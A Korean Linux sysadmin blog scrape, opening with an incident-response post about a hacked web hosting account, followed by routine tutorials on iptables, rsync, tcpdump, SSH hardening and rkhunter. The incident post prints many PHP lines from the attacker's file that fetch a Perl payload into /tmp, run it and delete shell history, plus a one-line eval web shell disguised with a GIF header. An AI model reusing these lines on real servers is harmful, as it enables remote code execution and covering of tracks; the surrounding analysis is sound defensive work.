passthru('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

passthru('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

passthru('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

system('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

system('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

shell_exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

shell_exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

popen('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;curl -O '.$url.'read.txt; perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;lynx -source '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

popen('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;GET '.$url.'read.txt > read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@passthru('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@passthru('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@system('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@system('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;curl -O '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;perl read.txt.txt;rm -f read.txt*;');

@shell_exec('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;rm -f read.txt*;');

@popen('cd /tmp;wget '.$url.'read.txt;perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;curl -O '.$url.'read.txt; perl read.txt;rm read.txt*;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;lwp-download '.$url.'read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;lynx -source '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;fetch '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

@popen('cd /tmp;GET '.$url.'read.txt >read.txt;perl read.txt;/usr/bin/perl read.txt;rm -f $HISTFILE', "r");

?>

 

  

chkrootkit , rkhunter 를 이용하여 확인결과 이상없음.

해당 툴은 rootkit이 설치 되어있는지 검사하는 기능 및 주요 파일들의 소유권과 권한에 대한 점검, 데몬들이 이상이 있는지 검사하는 기능을 가지고 있음 

  

[secure 로그]

중국,프랑스, 방글라데시등에서 접근시도는 있었지만 접속은 하지 못함.

elcap 방화벽사용 , 원격접속포트 변경, 복잡한 패스워드로 바꾸실것을 권유

 

Sep 1 00:26:03 localhost sshd[10671]: Failed password for root from 121.18.238.20 port 38305 ssh2

Sep 1 00:25:59 localhost sshd[10630]: Failed password for root from 218.87.109.246 port 8754 ssh2

Sep 1 14:11:20 localhost sshd[5205]: Failed password for root from 116.31.116.5 port 50223 ssh2

Sep 18 04:04:50 localhost sshd[16167]: Failed password for root from 123.49.57.222 port 34239 ssh2

Sep 18 21:00:26 localhost sshd[32386]: Failed password for invalid user guest from 212.129.9.163 port 50479 ssh2

 

  

[휘슬 결과]

휘슬이란 Web Hacking inspection Security Tool 의 약자로써 공격자가 웹서버에 설치한 백도어 프로그램인 웹쉘 및 악성코드은닉 사이트를 탐지하는 프로그램 입니다.

아래 내용은 의심되는 휘슬결과 입니다. 소스 코드부분을 한번 확인권유

 

[1] [1 Found] /home/15445077/log/plug_in/data_backup_manager_english/dump.php

[2] [1 Found] /home/15445077/log/plug_in/data_backup_manager_korean/dump.php

[3] [1 Found] /home/15445077/log/plug_in/data_backup_manager_japanese/dump.php

[4] [1 Found] /home/15445077/log/plug_in/data_backup_manager_chinese_big5/dump.php

[5] [1 Found] /home/15445077/board/upload/15445077_20160404230435.php

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_english/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_korean/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_japanese/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/log/plug_in/data_backup_manager_chinese_big5/dump.php

[Web Shell] : 135 : $data=mysql_fetch_array(mysql_query("show create table `$table_name`"));

 

[1 Found] /home/15445077/board/upload/15445077_20160404230435.php

[Web Shell] : 2 : <?php @eval($_POST['#']);?>GIF89aGIF89a

 

 

 

해킹점검 요약

177.41.158.46 186.214.147.149 IP에서 고객님 15445077계정으로 접속하여

/home/15445077/ 경로에 outon.php 파일을 업로드한 로그 확인.

nobody 권한으로 해당 프로세스가 구동중이었으며, 해당 프로세스 구동중지시킴.

Outon.php 파일내용을 토대로 문제가 있을것으로 판단되는 아래 파일들을 /usr/local/src/hacking.tar로 격리조치.

“Outon.php” , “rm.txt” , “read.txt” , “scan.sc” , “neutrinos.sc”


Posted by 실력키우기

[ Iptables 설치 및 설정 ]


iptables는 리눅스상에서 방화벽을 설정하는 도구입니다.

iptables는 커널상에서 netfilter 패킷필터링 기능을 사용자 공간에서 제어하는 수준으로 사용할 수 있습니다.

패킷 필터링이란 지나가는 패킷의 헤더를 보고 그 전체 패킷의 운명을 결정하는것을 말하며, 헤더에 필터링할 정보인 출발지 ip:port , 도착지ip:port 등 프로토콜 옵션등을 가지며, 데이터는 각각 전송데이터가 들어갑니다.

특정 조건을 가지고 있는 패킷에 대해 허용(ACCEPT) 및 차단(DROP)등을 지정할 수 있습니다.

특히 iptables 정책은 여러 구분으로 나눠지며 중요한 부분은 Chain입니다.

 

Chain INPUT : 서버로 들어오는 기본정책

- 서버를 목적지로 삼는 모든 패킷은 INPUT Chain을 통해 서버로 통과하게 된다.

 

Chain OUTPUT : 서버에서 나가는 기본정책

- 서버에서 생성되어 외부로 나가는 모든 패킷은 OUTPUT Chain을 통해 서버에서 나가게 된다.

 

Chain FORWARD : 서버에서 forwarding 되는 기본 정책

- 해당 서버가 목적지가 아닌 이 서버를 거쳐 패킷이 통과하는 Chain이다.




우분투에서 설치 방법


- 우분투에서는 iptables 가 설치되어 있지 않습니다.

우분투에서 기본적으로 ufw 라는 방화벽을 쓰며, 해당 방화벽을 disable시킨 상태에서 iptables 설치 

# apt-get install iptables-persistent

# cp /usr/share/netfilter-persistent/plugins.d/15-ip4tables /etc/init.d/iptables 해당 파일 init.d에 복사

# /etc/init.d/iptables start iptables 시작 명령어# /etc/init.d/iptables flush iptables 종료 명령어

# update-rc.d -f iptables defaults 부팅시 iptables 자동으로 올라오도록 설정


insserv: warning: script ‘K01iptables’ missing LSB tags and overrides


insserv: warning: script ‘iptables’ missing LSB tags and overrides


위와 같은 에러가 뜰경우 아래 파일에 LSB tag값이 지정되어있지 않다는 메세지이며 상단에 아래 문구삽입


# vi /etc/init.d/iptables 

### BEGIN INIT INFO 

# Provides: skeleton 

# Required-Start: $remote_fs $syslog 

# Required-Stop: $remote_fs $syslog 

# Default-Start: 2 3 4 5 

# Default-Stop: 0 1 6 

# Short-Description: Example initscript 

# Description: This file should be used to construct scripts to be # placed in /etc/init.d. 

### END INIT INFO


iptables의 파일 위치 /etc/iptables/rules.v4 해당 파일을 수정하여 룰적용을 하는 방법 및 명령어를 이용하여 룰적용을 하는 방법이 있습니다.

 

 

 

centos 6 에서 설치방법

 

- centos6 경우 iptables가 대부분 설치가 되어 있습니다.

# yum install -y iptables

# chkconfig iptables on 서비스를 시작프로그램에 등록합니다.

# service iptables start iptables 실행 명령어

# service iptables stop iptables 종료 명령어

iptables의 파일위치 /etc/sysconfig/iptables

 



매치

 

- iptables에서 패킷을 처리할때 만족해야 하는 조건을 가리킨다. 이 조건을 만족시키는 패킷들만 규칙을 적용한다.

--source (-s) 출발지 IP주소를 나타냄

--destination (-d) 목적지 IP주소를 나타냄

--protocol (-p) 특정 프로토콜과의 매칭

--in-interface (-i) 입력 인터페이스

--out-interface (-o) 출력 인터페이스

--state 연결 상태와의 매칭

--string 애플리케이션 계층 데이터 바이트 순서와의 매칭

--comment 커널 메모리 내의 규칙과 연계되는 최대 256바이트 주석--syn (-y) SYN 패킷을 허용하지 않는다.

--fragment (-f) 두번째 이후의 조각에 대해서 규칙을 명시한다.

--table (-t) 처리퇼 테이블

--jump (-j) 규칙에 맞는 패킷을 어떻게 처리할 것인가를 명시한다.

--match (-m) 특정 모듈과의 매치

 

 


타겟

 

- iptables는 패킷이 규칙과 일치할 때 동작을 취하는 타겟을 지원한다.

ACCEPT 패킷을 받아들인다.

DROP 패킷을 버린다 (패킷이 전송된 적이 없던 것처럼)

REJECT 패킷을 버리고 이와 동시에 적절한 응답 패킷을 전송한다.

LOG 패킷을 syslog에 기록한다.RETURN 호출 체인 내에서 패킷 처리를 계속한다.

 


 

연결추적

 

- 내부 네트워크 상 서비스 연결 상태에 따라서 그 연결을 감시하고 제한할 수 있게 해준다. 연결 추적방식은 연결 상태를

표에 저장하기 때문에, 다음과 같은 연결 상태에 따라서 연결을 허용하거나 거부할 수 있다.

NEW 새로운 연결을 요청하는 패킷 (ex: HTTP 요청)

ESTABLISHED 기존 연결의 일부인 패킷

RELATED 기존 연결에 속하지만 새로운 연결을 요청하는 패킷

INVALID 연결 추적표에서 어디 연결에도 속하지 않은 패킷

 



명령어


- iptables의 명령어

-A 새로운 규칙을 추가한다.-D 규칙을 삭제한다.-C 패킷을 테스트 한다.-R 새로운 규칙으로 교체한다.-I 새로운 규칙을 삽입한다.-L 규칙을 출력한다.-F chain으로 부터 규칙을 모두 삭제한다.-Z 모든 chain의 패킷과 바이트 카운터 값을 0으로 만든다.-N 새로운 chain을 만든다.-X chain을 삭제한다.-P 기본정책을 변경한다.

 

 


기본동작

 

- iptables에서의 기본동작

- 패킷에 대한 동작은 위에서 부터 차례로 각 규칙에 대해 검사하고, 규칙과 일치하는 패킷에 대하여 ACCEPT , DROP 등을 수행한다.

- 규칙이 일치하고 작업이 수행되면, 그 패킷은 해당 규칙의 결과에 따라 처리하고 체인에서 추가 규칙을 무시한다.

- 패킷이 체인의 모든 규칙과 매치하지 않아 규칙의 바닥에 도달하면 정해진 기본정책(policy)을 수행한다.

- 기본 정책은 ACCEPT , DROP 으로 설정 가능하다.

- 일반적으로 기본정책은 모든 패킷에 대하여 DROP을 설정하고 특별히 지정된 포트와 IP주소등에 대해 ACCEPT를 수행하게 만든다.

 

- 주의사항

기본 정책 수립에 있어서 DROP 으로 설정할 경우 원격에서 SSH를 접속하여 사용중이라면, 설정하는 순간 서버와 통신이 단절 됩니다. 그러므로 처음 기본 정책을 ACCEPT로 설정하여 SSH 설정을 마친 후 다시 기본정책을 DROP으로 변경하시길 바랍니다.




현재 룰 상태 확인

 

- iptables -nL 명령어를 통해 현재 등록되어있는 룰을 확인할수 있습니다.


위 그림은 iptables -nL 명령어로 통해 확인한 방화벽 룰입니다.iptables -nL line-numbers 로 확인시 룰셋 적용순서까지 확인이 가능합니다.




iptables 명령어 활용

 

- Iptables 는 기본정책이 ACCEPT 인지 DROP 인지에 따라서 설정 방법이 다릅니다.

# iptables -P INPUT ACCEPT INPUT 체인에 들어오는 패킷을 전부 허용 상태에서의 룰 적용 

- 서버로 들어오는 패킷을 전부 허용 시킨 상태에서 DROP 정책으로 하나씩 막는 방식 입니다.


# iptables -P INPUT DROP INPUT 체인에 들어오는 패킷을 전부 드랍 상태에서의 룰 적용 

- 서버로 들어오는 패킷을 전부 막은 상태에서 ACCEPT 정책으로 하나씩 허용하는 방식 입니다.

 

- 초기 셋팅에 아래 내용 추가

# iptables -A INPUT -i lo -j ACCEPT 

- 일반적으로 많은 소프트웨어들이 localhost 어댑터와 통신이 되어야 하기때문에 필요합니다.


# iptables -A INPUT -m state state ESTABLISHED,RELATED -j ACCEPT 

- INPUT Chain에 접속에 속하는 패킷과 기존의 접속 부분은 아니지만 연관성을 가진 패킷을 허용하는 규칙

 

- 특정 IP 접근을 차단한다.

# iptables -A INPUT -s 115.68.27.76 -j DROP 출발 ip115.68.27.76인 패킷을 차단

# iptables -A INPUT -d 115.68.27.76 -j DROP 목적지 ip115.68.27.76인 패킷을 차단


- 특정 IP 대역대의 접근을 차단한다.

# iptables -A INPUT -s 115.68.27.0/24 -j DROP 출발 ip의 대역이 115.68.27.0/24 인 패킷을 차단

# iptables -A INPUT -d 115.68.27.0/24 -j DROP 목적지 ip의 대역이 115.68.27.76.0/24 인 패킷을 차단


- 포트 범위로 허용 및 거부

# iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 50001:50005 -j ACCEPT 

- 접속패킷 포트 50001 ~ 50005 번까지 허용


# iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 50001:50005 -j DROP 

- 접속패킷 포트 50001 ~ 50005 번까지 거부


- 특정 IP에 대한 특정 포트허용 및 거부

# iptables -A INPUT -p tcp -s 115.68.27.76 -m state --state NEW -m tcp --dport 80 -j ACCEPT 

- IP 115.68.27.76에 대해 접속패킷 80번 포트를 허용


# iptables -A INPUT -p tcp -s 115.68.27.0/24 -m state --state NEW -m tcp --dport 80 -j ACCEPT 

- IP 115.68.27 대역에 대해 접속패킷 80번 포트를 허용


# iptables -A INPUT -p tcp -s 115.68.27.76 -m state --state NEW -m tcp --dport 80 -j DROP 

- IP 115.68.27.76에 대해 접속패킷 80번 포트를 거부


# iptables -A INPUT -p tcp -s 115.68.27.0/24 -m state --state NEW -m tcp --dport 80 -j DROP 

- IP 115.68.27 대역에 대해 접속패킷 80번 포트를 거부

 

- 인터페이스 지정

# iptables -A INPUT -i eth0 -p tcp dport 80 -j ACCEPT 인터페이스 eth0 로 들어오는 80포트 허용

# iptables -A INPUT -i eth0 -p tcp dport 80 -j DROP 인터페이스 eth0 로 들어오는 80포트 거부


- 룰 적용후 저장

# /etc/init.d/iptables save iptables의 룰을 명령어로 적용시킨 후 해당 명령어로 저장합니다. 

- 위처럼 하는 이유는 iptables 명령어로 룰을 적용시켰을 경우 방화벽을 재시작 하거나, 서버를 재부팅 했을 경우 룰이 저장이 되지 않고 전부 날아가기 때문입니다.

 



룰에대한 설명

 

흰색 부분은 전부 이해되셨을 거라 생각되며, 빨간 부분에 대해서 설명을 해드리겠습니다.

체인 RH-Firewall-1-INPUT의 최상단에 115.68.234.244의 아이피가 DROP 되어 있기 때문에 아래의 방화벽 룰 적용에 관계없이 서버에 접근할 수 없게 됩니다.

, 룰에서 2001포트가 먼저 허용되어 있고, 그뒤에 2000~2500 번 까지 드랍정책이 설정되었기 때문에 2001포트 를 제외한 2000~2500까지 모두 드랍이 되는 정책입니다.

모든 패킷을 거부하는 룰이며, 해당 룰 상단에 룰을 제외한 모든 부분을 거부해 버립니다.

바로 위에 룰이 적용되어 있기 때문에 해당 룰이 적용되지 않습니다.


'Linux Server > etc' 카테고리의 다른 글

[기타] 리눅스서버 사이트 이전  (1) 2018.03.02
[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] rsync 설치 및 사용법  (0) 2017.08.08
[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] tcpdump 사용방법  (0) 2017.01.25
Posted by 실력키우기

[ rsync 설치 ]


# rpm -qa |grep rsync    -->    해당 패키지 설치되어있는지 확인 , 없을경우 설치


# yum install -y rsync


# rpm -qa |grep xinetd   -->    해당 패키지 설치되어있는지 확인 , 없을경우 설치


# yum install -y xinetd




# vi /etc/rsyncd.conf      -->     해당 파일이 없을 가능성이 크다. 해당 파일이 없을경우 vi 로 만들고 아래 내용 추가


[rsync_test]                  -->     사용할 rsync 서비스 이름

path=/data/rsync_test/        -->     데이터 원본 경로

comment = rsync_test        -->     코멘트

uid = root                    -->    권한 사용자

gid = root                    -->    권한 그룹

use chroot = yes

read only = yes

#hosts allow = 115.68.220.220    --> rsync 클라이언트 IP. localhost일 경우 입력하지 않아도 됨

max connections = 3

timeout=600



# vi /etc/xinetd.d/rsync 


service rsync

{

    disable = yes    -->    no로 변경

    flags       = IPv6

    socket_type     = stream

    wait            = no

    user            = root

    server          = /usr/bin/rsync

    server_args     = --daemon

    log_on_failure  += USERID


# /etc/init.d/xinetd restart




[ rsync 사용법 ]


[ 현재 접속한서버에서 다른서버로 파일을 보낼 경우 ]


rsync -avzPog /usr/local/src/test les@115.68.220.220:/home/les/    ->    해당서버의 test파일을 220.220번 서버의 /home/les/ 에 복사


rsync -avzPog -e 'ssh -p1990' java les@115.68.220.220:/home/les/     ->    위에 내용과 같지만, 다른점은 원격포트가 22번이 아닌 1990일때 옵션값 추가



[ 현재 접속한서버에서 다른서버의 파일을 가져올 경우 ]

rsync -avzPog les@115.68.220.220:/home/les/test /usr/local/src/    ->    220.220서버의 /home/les/test 파일을 현재 서버의 /usr/local/src/ 경로에 복사


rsync -avzPog -e 'ssh -p1990' les@115.68.220.220:/home/les/test /usr/local/src/    ->    위에 내용과 같지만,다른점은  원격포트가 1990일때 옵션값 추가





'Linux Server > etc' 카테고리의 다른 글

[ 기타 ] 해킹점검  (0) 2018.03.02
[기타] Iptables 설치 및 설정  (1) 2018.02.26
[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] tcpdump 사용방법  (0) 2017.01.25
[기타] 바이오스설정  (0) 2017.01.08
Posted by 실력키우기

[리눅스 시간 동기화]


# yum install -y rdate    ->    rdate 설치


# vi /etc/sysconfig/iptables    ->    방화벽 열어서 어래내용 추가 (udp 137열어줌)


-A RH-Firewall-1-INPUT -p udp -m state --state NEW -m tcp --dport 137 -j ACCEPT


# /etc/init.d/iptables restart    ->    centos6 경우


# service iptables restart    ->    centos7 경우 (6에서도 가능)


# rdate -s time.bora.net     ->    보라넷으로 동기화 (해외망 열어야함)  ->    보라넷으로 동기화 (해외망 열어야함)


'Linux Server > etc' 카테고리의 다른 글

[기타] Iptables 설치 및 설정  (1) 2018.02.26
[기타] rsync 설치 및 사용법  (0) 2017.08.08
[기타] tcpdump 사용방법  (0) 2017.01.25
[기타] 바이오스설정  (0) 2017.01.08
[기타] path 설정방법  (0) 2017.01.08
Posted by 실력키우기

[tcpdump 사용방법]


# tcpdump -nni eth1    -> 서버에서 통신되는 tcpdump 확인


# tcpdump -nni eth1 host 192.168.9.15    -> 서버에서 통신되는 tcpdump 확인


# tcpdump -nni eth1 port 80 -A -s 1500 |grep Host    -> 해당 서버에 80포트로 생기는 도메인 검색


# tcpdump -nni eth1 host 192.168.9.15 and port 80 -A -s 1500 |grep Host    -> 해당 아이피로 들어오는 것중 도메인 검색 (tc서버에서 확인할때 유용)


# tcpdump -nni eth0 not port 22    -> 개인 서버에서 덤프뜰때 ssh로 접근하기 때문에 로컬 pc 아이피가 계속 통신되기때문에 해당 포트 제외한 옵션


# tcpdump -nni eth0 port 80    -> 80포트로 통신되는것만 덤프




'Linux Server > etc' 카테고리의 다른 글

[기타] rsync 설치 및 사용법  (0) 2017.08.08
[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] 바이오스설정  (0) 2017.01.08
[기타] path 설정방법  (0) 2017.01.08
[기타] parted 사용법  (0) 2016.12.22
Posted by 실력키우기

[BIOS 설정]

전원이 나갔다 들어오면 서버가 자동으로 켜지게 설정을 할수 있다.


바이오스접속    ->    어드벤스    ->    리스토어 옵션    ->    파워 on 으로 변경


'Linux Server > etc' 카테고리의 다른 글

[기타] 리눅스 시간 동기화  (0) 2017.03.09
[기타] tcpdump 사용방법  (0) 2017.01.25
[기타] path 설정방법  (0) 2017.01.08
[기타] parted 사용법  (0) 2016.12.22
[기타] root 계정으로 바로 접근 막기  (0) 2016.12.04
Posted by 실력키우기

[PATH 설정방법]


java로 예를 들어 설명하겠습니다.

java 같은경우 이미 yum 으로 설치되어있을 경우나 버전이 다른 경우 새로 소스설치할 상황이 있다.

그럴경우 path를 다시잡아줘야 하는데 아래처럼 하면 된다.


# which java    -> 현재 자바버전 확인


# ls -l /usr/bin/java    -> 자바 링크경로 확인


# unlink /usr/bin/java    -> 새로운 버전 링크지정하기 위해 기존 링크 끊어주기


# ln -s /usr/local/java/bin/java  /usr/bin/java    -> 새로 설치한 자바 위치가 /usr/local/java/bin/java 이기 때문에 이렇게 잡아줌.


# java -version     -> 해당 명령어로 최종확인, 물론 /etc/profile 에는 자바 path 설정이 되어있어야 한다.



'Linux Server > etc' 카테고리의 다른 글

[기타] tcpdump 사용방법  (0) 2017.01.25
[기타] 바이오스설정  (0) 2017.01.08
[기타] parted 사용법  (0) 2016.12.22
[기타] root 계정으로 바로 접근 막기  (0) 2016.12.04
[기타] centos7 싱글모드 진입  (0) 2016.12.04
Posted by 실력키우기

[parted 사용법]


하드디스크 2TB 이상부터는 fdisk 로 파티션 나누는 것이 불가능하다. 그렇기 때문에 parted 라는 명령어를 통해서 파티션 분할이 가능하다.


[root@os1 ~]# parted /dev/sdb


(parted) mklabel gpt


(parted) mkpart primary 0 3TB        -> 0부터 사용범위 지정


(parted) mkpart primary 3TB 100%        -> 3TB 부터 마지막까지 지정


(parted) print        -> 해당 명령어로 파티션 나눠진것을 확인할수 있다.


포멧


mkfs.ext4 /dev/sdb1 


mkfs.ext4 /dev/sdb2 


parted -l 로 파티션 나눠진것을 확인


mount /dev/sdb1 /backup

mount /dev/sdb2 /backup2

Posted by 실력키우기

[ root 계정으로 바로 접근 막기 ]

 

# vi /etc/pam.d/su        -> 해당 파일 열고 아래내용 수정

 

#auth           required        pam_wheel.so use_uid        -> 해당 라인 주석 해제

 

# groupadd wheel     -> wheel 그룹 생성 (이미 생성되어있을 가능성이 높다.)

 

# chgrp wheel /bin/su        ->  su 명령어를 wheel 그룹에서만 실행할수 있도록 소유자 변경

 

# chmod 4750 /bin/su        -> su 명령어 접근 권한 변경  

 

# usermod -G wheel "계정이름"        -> 계정에 wheel 그룹 추가 (root 권한 얻을수 있는 계정 추가)

 

# vi /etc/ssh/sshd_config         ->  ssh 설정에서 root 로 바로 로그인이 되지 않도록 설정

 

PermitRootLogin yes        -> no 로 변경

 

위와 같이 설정하면 wheel 그룹에 포함된 계정만 su - 명령어를 통해 root 권한으로 변경 가능하다

 

-------------------------------------------------------------------------------------------

 

[ SSH 특정 계정만 접근되도록 설정 ]

 

# vi /etc/ssh/sshd_config        -> 해당 파일 열고 아래내용 수정
AllowUsers les les421          -> AllowUsers 추가 후 옆에 적어준 계정만 ssh 접속이 가능

#PermitRootLogin yes        -> 주석 해제 후 yes 부분을 no로 변경

 

 

 

'Linux Server > etc' 카테고리의 다른 글

[기타] path 설정방법  (0) 2017.01.08
[기타] parted 사용법  (0) 2016.12.22
[기타] centos7 싱글모드 진입  (0) 2016.12.04
[기타] ftp설치 하지 않고 ftp 사용법 (sftp)  (0) 2016.11.01
[기타] 강제 umount 하기  (0) 2016.10.11
Posted by 실력키우기

[centos 7 싱글모드 진입]


1



1. 키보드 방향키 위와 아래버튼을 누르다보면 위처럼 커널 선택하는 화면이 나올텐데 저 상태에서  ‘e’ 버튼을 눌러줍니다.




 

2



3

 

2. rhgb quiet를 init=/bin/bash로 변경한후 Ctrl -x를 눌러 싱글모드로 진입합니다.
    CentOS 5 또는 6와는 싱글모드 진입이 변경된것을 알수있습니다. 

#  rhgb quiet 삭제 init=/bin/bash 추가

 


 



6

 

3. / root를 다시 마운트 한후 패스워드를 변경합니다.

# mount -o remount,rw /
# passwd root

 



 

8

 

4. 나머지 두가지의 명령어를 입력하여 리부팅을 진행합니다.

SELinux 관련 명령어 (다른곳에서도 사용하는것으로 보입니다.)
# touch /.autorelabel   

리부팅 명령어
# exec /sbin/init


 


 출처 - http://idchowto.com/?p=18651

Posted by 실력키우기

[ftp설치하지 않은상태에서 ftp 사용하는방법]


파일질라로 접속할때 sftp://IP 로 접속한다 (계정은 ssh로 접속하는 계정으로 접근하면됨)

'Linux Server > etc' 카테고리의 다른 글

[기타] root 계정으로 바로 접근 막기  (0) 2016.12.04
[기타] centos7 싱글모드 진입  (0) 2016.12.04
[기타] 강제 umount 하기  (0) 2016.10.11
[기타] ubuntu 네트워크 설정  (0) 2016.09.24
[기타] ikvm 초기화  (0) 2016.09.19
Posted by 실력키우기

[강제 umount 방법]


# umount /smileserv     -> 아래 에러발생시 대처방법

umount: /smileserv: device is busy



# fuser -cu /smileserv     -> 해당 명령어로 확인

/smileserv:     4593c(root)


#fuser -ck /smileserv    -> 해당명령어 입력


# umount /smileserv    -> 위 명령어 입력 이후 해당 명령어 실행하면 정상적으로 umount 됨.



[강제 umount 방법2]


#umount -f /smileserv 



[강제 umount 방법3]


umount -l /smileserv

Posted by 실력키우기

[ubuntu 초기 네트워크 설정]


# vi /etc/network/interface


auto lo
iface lo inet loopback

auto eth1
iface eth1 inet static
address 192.168.xxx.xxx
netmask 255.255.255.224
gateway xxx.xxx.xxx.xxx
dns-nameserver xxx.xxx.xxx.xxx


# ifup eth1    -> 네트워크 시작



[위처럼 설정을 해줬는데 네트워크가 안 잡힐 경우]


# journalctl -xe 명령어로 디바이스명을 찾는다.


긴 글이 나오며, 그중 enp0s25 식의 디바이스명이 나올텐데 eth1 부분에 해당 디바이스명으로 바꾸어 준다.


# ifup enp0s25    -> 네트워크 시작



[디바이스명 찾는 또다른 방법]


# cat /proc/net/dev



'Linux Server > etc' 카테고리의 다른 글

[기타] ftp설치 하지 않고 ftp 사용법 (sftp)  (0) 2016.11.01
[기타] 강제 umount 하기  (0) 2016.10.11
[기타] ikvm 초기화  (0) 2016.09.19
[기타] rkhunter 다운로드 및 사용방법  (0) 2016.09.17
[기타] APM 제거방법  (0) 2016.09.17
Posted by 실력키우기

[ikvm 초기화 방법]


DOS 부팅 USB로 부팅 시킨 후 IPMICFG(해당파일있는 디렉토리) 이동 후 아래 명령어 실행


BMCDFG.exe    -> ASROOK 보드일 경우


IPMICFG.exe -fd    -> 마보드일경우 (비밀번호 , 방화벽 설정등 초기화)


IPMICFG.exe -fdl    -> 마보드일경우 (기본 설정 및 IP 설정도 초기화 되며 초기화 후 BIOS에서 IP 재설정)


'Linux Server > etc' 카테고리의 다른 글

[기타] 강제 umount 하기  (0) 2016.10.11
[기타] ubuntu 네트워크 설정  (0) 2016.09.24
[기타] rkhunter 다운로드 및 사용방법  (0) 2016.09.17
[기타] APM 제거방법  (0) 2016.09.17
포맷&마운트 및 fstab 등록  (0) 2016.09.05
Posted by 실력키우기

[rkhunter정의]


rkhunter는 시스템에 rootkit이 설치되어 있는지를 검사하는 것입니다. 거기에 더해서, 주요 파일들의 소유권과 권한에 대한 점검과 데몬들의 설정 중에서 보안에 취약한 부분이 있는지 검사하는 기능을 가지고 있습니다.


[rkhunter 설치방법]


rkhunter 다운로드 이후 아래작업 진행


# tar -zxvf rkhunter-1.4.0.tar.gz


# cd rkhunter-1.4.0


./install.sh --layout /usr/local --install



[rkhunter data 업데이트]


/usr/local/bin/rkhunter --update


/usr/local/bin/rkhunter --propupd



[환경 설정]


# vi /usr/local/etc/rkhunter.conf


아래라인 주석처리


MAIL-ON-WARNING=

[검사 방법]


/usr/local/bin/rkhunter --check


'Linux Server > etc' 카테고리의 다른 글

[기타] ubuntu 네트워크 설정  (0) 2016.09.24
